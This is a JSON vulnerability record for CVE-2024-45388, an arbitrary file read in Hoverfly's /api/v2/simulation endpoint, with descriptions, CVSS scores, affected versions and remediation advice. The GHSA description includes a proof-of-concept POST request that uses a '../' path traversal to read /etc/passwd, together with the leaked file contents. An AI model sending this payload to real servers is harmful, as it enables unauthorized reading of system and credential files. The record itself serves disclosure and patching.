{"id":"CVE-2024-45388","aliases":["CVE-2024-45388","GHSA-6xx4-x46f-f897","GO-2024-3108"],"related":[],"kind":"vulnerability","state":"published","title":"Arbitrary file read in the `/api/v2/simulation` endpoint in hoverfly (`GHSL-2023-274`)","summary":"Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The `/api/v2/simulation` POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). This issue is also tracked as GHSL-2023-274.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The `/api/v2/simulation` POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). This issue is also tracked as GHSL-2023-274.","source":"cvelist"},{"lang":"en","text":"### Details\n\nThe `/api/v2/simulation` [POST handler](https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87) allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.\n\n```go\n# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186\nfunc (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {\n\tif filepath.IsAbs(filePath) {\n\t\treturn \"\", fmt.Errorf(\"bodyFile contains absolute path (%s). only relative is supported\", filePath)\n\t}\n\n\tfileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(fileContents[:]), nil\n}\n```\n\nNote that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files.\n\nThis issue was found using the [Uncontrolled data used in path expression CodeQL query for python](https://codeql.github.com/codeql-query-help/go/go-path-injection/).\n#### Proof of Concept\n\nSend the following `POST` request to read the `/etc/passwd` file:\n\n```http\nPOST /api/v2/simulation HTTP/1.1\nHost: localhost:8888\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 128\n\n{\"data\":{\"pairs\":[{\n\"request\":{},\"response\": {\n\"bodyFile\": \"../../../../../etc/passwd\"}} ]},\"meta\":{\"schemaVersion\":\"v5.2\"}}\n\n```\n\nResponse will contain the Hoverfly's server `/etc/passwd`\n```\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\nDate: Tue, 19 Dec 2023 20:59:16 GMT\nContent-Length: 1494\nConnection: close\n\n{\"data\":{\"pairs\":[{\"request\":{},\"response\":{\"status\":0,\"body\":\"root:x:0:0:root:/root:/bin/ash\\nbin:x:1:1:bin:/bin:/sbin/nologin\\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\\nadm:x:3:4:adm:/var/adm:/sbin/nologin\\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\\nsync:x:5:0:sync:/sbin:/bin/sync\\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\\nhalt:x:7:0:halt:/sbin:/sbin/halt\\nmail:x:8:12:mail:/var/mail:/sbin/nologin\\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\\noperator:x:11:0:operator:/root:/sbin/nologin\\nman:x:13:15:man:/usr/man:/sbin/nologin\\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\\ngames:x:35:35:games:/usr/games:/sbin/nologin\\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\\nguest:x:405:100:guest:/dev/null:/sbin/nologin\\nnobody:x:65534:65534:nobody:/:/sbin/nologin\\n\",\"bodyFile\":\"../../../../../etc/passwd\",\"encodedBody\":false,\"templated\":false}}],\"globalActions\":{\"delays\":[],\"delaysLogNormal\":[]}},\"meta\":{\"schemaVersion\":\"v5.2\",\"hoverflyVersion\":\"v1.6.1\",\"timeExported\":\"2023-12-19T20:59:16Z\"}}\n\n```\n\n#### Impact\n\nThis issue may lead to Information Disclosure.\n#### Remediation\n\nThe code is [preventing absolute paths from being read](https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186). Make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`)","format":"markdown","source":"ghsa"},{"lang":"en","text":"Hoverfly allows an arbitrary file read in the `/api/v2/simulation` endpoint (`GHSL-2023-274`) in github.com/SpectoLabs/hoverfly","format":"markdown","source":"go"},{"lang":"es","text":"Hoverfly es una herramienta liviana de simulación de API/virtualización de servicios/simulación de API para desarrolladores y evaluadores. El controlador POST `/api/v2/simulation` permite a los usuarios crear nuevas vistas de simulación a partir del contenido de un archivo especificado por el usuario. Un atacante puede abusar de esta característica para leer archivos arbitrarios del servidor Hoverfly. Tenga en cuenta que, aunque el código evita que se especifiquen rutas absolutas, un atacante puede escapar de la ruta base `hf.Cfg.ResponsesBodyFilesPath` mediante segmentos `../` y llegar a cualquier archivo arbitrario. Este problema se encontró utilizando la consulta CodeQL de expresión de ruta de datos no controlados para Python. Se recomienda a los usuarios asegurarse de que la ruta final (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) esté contenida dentro de la ruta base esperada (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). Este problema también se registra como GHSL-2023-274.","source":"nvd"}],"published":"2024-09-02T16:07:17.599Z","modified":"2026-06-17T07:54:07.090Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-22","CWE-200"],"affected":[{"ranges":[{"version":"< 1.10.3","status":"affected"}],"vendor":"SpectoLabs","product":"hoverfly","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"1.10.3","status":"affected"}],"vendor":"spectolabs","product":"hoverfly","cpe":"cpe:2.3:a:spectolabs:hoverfly:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.10.3"}],"ecosystem":"Go","package":"github.com/spectolabs/hoverfly","purl":"pkg:golang/github.com/spectolabs/hoverfly","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.10.3"}],"ecosystem":"Go","package":"github.com/SpectoLabs/hoverfly","purl":"pkg:golang/github.com/SpectoLabs/hoverfly","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.10.3"}],"ecosystem":"Go","package":"github.com/SpectoLabs/hoverfly","purl":"pkg:golang/github.com/SpectoLabs/hoverfly","source":"go"},{"ranges":[{"status":"affected","fixed":"1.10.3"}],"vendor":"hoverfly","product":"hoverfly","cpe":"cpe:2.3:a:hoverfly:hoverfly:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://codeql.github.com/codeql-query-help/go/go-path-injection","tags":["not-applicable","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45388","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/SpectoLabs/hoverfly","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2024-09-03T13:52:29.019Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-45388","url":"https://www.cve.org/CVERecord?id=CVE-2024-45388","licence":"CVE Terms of Use","modified":"2024-09-03T14:22:12.634Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6xx4-x46f-f897","url":"https://github.com/advisories/GHSA-6xx4-x46f-f897","licence":"CC-BY-4.0","modified":"2024-09-06T21:41:35.000Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2024-3108","url":"https://pkg.go.dev/vuln/GO-2024-3108","licence":"CC-BY-4.0","modified":"2026-03-03T04:55:45.493Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-45388","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45388","licence":"Public domain","modified":"2026-06-17T07:54:07.090Z"}],"updatedAt":"2026-11-25T22:58:44.999Z","epss":{"score":0.55574,"percentile":0.99052,"date":"2026-12-01T12:00:22.000Z"}}